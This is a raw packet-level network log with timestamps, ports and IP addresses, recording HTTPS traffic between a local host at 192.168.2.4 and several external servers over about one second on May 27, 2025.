May 27, 2025 20:51:50.265373945 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:50.265383959 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:50.266175985 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:50.266217947 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:50.266242027 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:50.266282082 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:50.266308069 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:50.266349077 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:50.266376972 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:50.268470049 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:50.268486977 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:50.268512011 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:50.268557072 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:50.268678904 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:50.268791914 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:50.268944025 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:50.269117117 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.269136906 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.269207001 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.269295931 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.313349962 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:50.313364983 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:50.313471079 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:50.318214893 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:50.318214893 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:50.318284035 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:50.322238922 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:50.330795050 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.331444025 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.331657887 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.332571983 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:50.332587957 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:50.346643925 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.347101927 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.347815037 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.351511002 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:50.351623058 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:50.352344036 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:50.352410078 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:50.359837055 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.360280037 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.360722065 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.375667095 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.377218962 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.377345085 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.391885042 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.394207001 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.394402981 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.409308910 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.410304070 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.411375046 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.420481920 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.421852112 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.422231913 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.436721087 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.437082052 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.437690973 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.449628115 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.449712038 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.449800014 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.465429068 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.465536118 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.465648890 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.481296062 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.481867075 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.481983900 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.494460106 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.494539976 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.494630098 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.510008097 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.510111094 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.510207891 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.522289038 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.522938967 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.523053885 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.536448956 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.537864923 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.544271946 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.550148964 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.550827980 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.550827980 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.556267023 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.560056925 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.563210964 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.568272114 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.568800926 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.570322990 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.573129892 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:50.573956013 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.574975967 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:50.574978113 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.575315952 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.583260059 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:50.583271980 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:50.583329916 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:50.583456039 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:50.583465099 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:50.583511114 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:50.583556890 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:50.583587885 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:50.583595037 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:50.583712101 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:50.584423065 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:50.584500074 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:50.584599972 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:50.584667921 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:50.584696054 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:50.584752083 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:50.584789991 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:50.584814072 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:50.584851027 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:50.584881067 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:50.584974051 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:50.585016012 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:50.585067034 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:50.585161924 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:50.585228920 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:50.585305929 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:50.587862968 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.587950945 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.588056087 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.596741915 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.597151041 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.597258091 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.608633041 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.609682083 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.610028028 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.620531082 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.620625973 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.620738029 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.630373001 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.630533934 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.630534887 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.639369965 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:50.639484882 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:50.641134024 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:50.642693043 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.644165993 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.644170046 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:50.644444942 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.652368069 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.652478933 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.652621031 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.659718990 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.663031101 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.663095951 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.666143894 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.666233063 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.666317940 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.672766924 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.672856092 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.672943115 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.677969933 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.678066015 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.678153992 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.684313059 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.684398890 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.684483051 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.689582109 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.690274954 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.690380096 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.696000099 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.696088076 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.696173906 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.702537060 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.702650070 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.704535961 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.707825899 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.707909107 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.707948923 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.714251995 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.714333057 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.714420080 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.719644070 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.719769955 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.719873905 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.725997925 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.726079941 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.726181984 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.732532978 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.732618093 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.732709885 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.737773895 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.737860918 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.737951040 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.744245052 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.744344950 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.744425058 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.750726938 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.751262903 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.751614094 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.756006002 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.756087065 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.756129026 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.762576103 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.762650967 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.762717962 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.768745899 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.770196915 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.771038055 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.774262905 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.774344921 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.774421930 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.780646086 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.784383059 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.784475088 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.786268950 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.786353111 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.786428928 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.792478085 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.792560101 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.792645931 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.799063921 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.799159050 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.799249887 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.803040981 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.803126097 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.808280945 CEST	49753	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.808309078 CEST	443	49753	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.808367968 CEST	49753	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.808640003 CEST	49753	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.808648109 CEST	443	49753	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.889049053 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:50.889125109 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:50.889414072 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:50.889520884 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:50.889615059 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:50.890902042 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:50.890908003 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:50.892874002 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:50.898987055 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:50.899071932 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:50.900055885 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:50.900144100 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:50.900166035 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:50.900276899 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:50.900299072 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:50.900367022 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:50.900502920 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:50.900527000 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:50.900741100 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:50.906558037 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:50.910923958 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:50.910974979 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:50.911173105 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:50.911359072 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:50.911518097 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:50.912795067 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:50.913007975 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:50.913397074 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:50.913475037 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:50.914625883 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:50.914688110 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:50.914830923 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:50.914907932 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:50.916357994 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:50.916574001 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:50.916790962 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:50.919135094 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:50.919370890 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:50.919465065 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:50.919548035 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:50.919627905 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:50.920572042 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:50.922341108 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:50.922585011 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:50.925086975 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:50.925168037 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:50.925323963 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:50.927340984 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:50.927655935 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:50.930670977 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:50.930778980 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:50.931843996 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:50.936691999 CEST	443	49751	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.938051939 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:50.938419104 CEST	49751	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.939668894 CEST	49751	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.939692974 CEST	443	49751	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.940052986 CEST	49751	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.940067053 CEST	443	49751	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.941086054 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:50.942126036 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:50.946868896 CEST	443	49752	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.946948051 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:50.947055101 CEST	49752	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.947266102 CEST	49752	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.947294950 CEST	443	49752	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.947365999 CEST	49752	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.947385073 CEST	443	49752	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.951246023 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:50.953689098 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:50.955473900 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:50.959362030 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:50.961611986 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:50.961863041 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:50.961863041 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:50.962347031 CEST	443	49749	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.962466955 CEST	49749	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.962778091 CEST	49749	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.962805033 CEST	443	49749	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.962860107 CEST	443	49751	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.962874889 CEST	49749	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.962893009 CEST	443	49749	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.964806080 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:50.966650009 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:50.970808029 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:50.975764036 CEST	443	49750	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.975832939 CEST	49750	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.975857973 CEST	443	49752	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.976133108 CEST	49750	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.976140976 CEST	443	49750	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.976229906 CEST	49750	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:50.976234913 CEST	443	49750	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.976387978 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:50.977921963 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:50.978007078 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:50.978060961 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:50.978132963 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:50.978224039 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:50.978292942 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:50.978966951 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:50.979042053 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:50.984287024 CEST	443	49749	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.986040115 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:50.986815929 CEST	443	49750	47.79.48.222	192.168.2.4
May 27, 2025 20:51:50.989675999 CEST	49754	443	192.168.2.4	3.168.147.20
May 27, 2025 20:51:50.989722967 CEST	443	49754	3.168.147.20	192.168.2.4
May 27, 2025 20:51:50.989859104 CEST	49754	443	192.168.2.4	3.168.147.20
May 27, 2025 20:51:50.990021944 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:50.990148067 CEST	49754	443	192.168.2.4	3.168.147.20
May 27, 2025 20:51:50.990154982 CEST	443	49754	3.168.147.20	192.168.2.4
May 27, 2025 20:51:50.996074915 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:50.996161938 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:50.996191978 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:50.996294022 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.003293037 CEST	49751	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:51.008270025 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.020245075 CEST	49752	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:51.034775972 CEST	49750	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:51.034851074 CEST	49749	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:51.257239103 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.257252932 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.257427931 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.257442951 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.257489920 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.257548094 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.257601023 CEST	49736	443	192.168.2.4	159.138.57.153
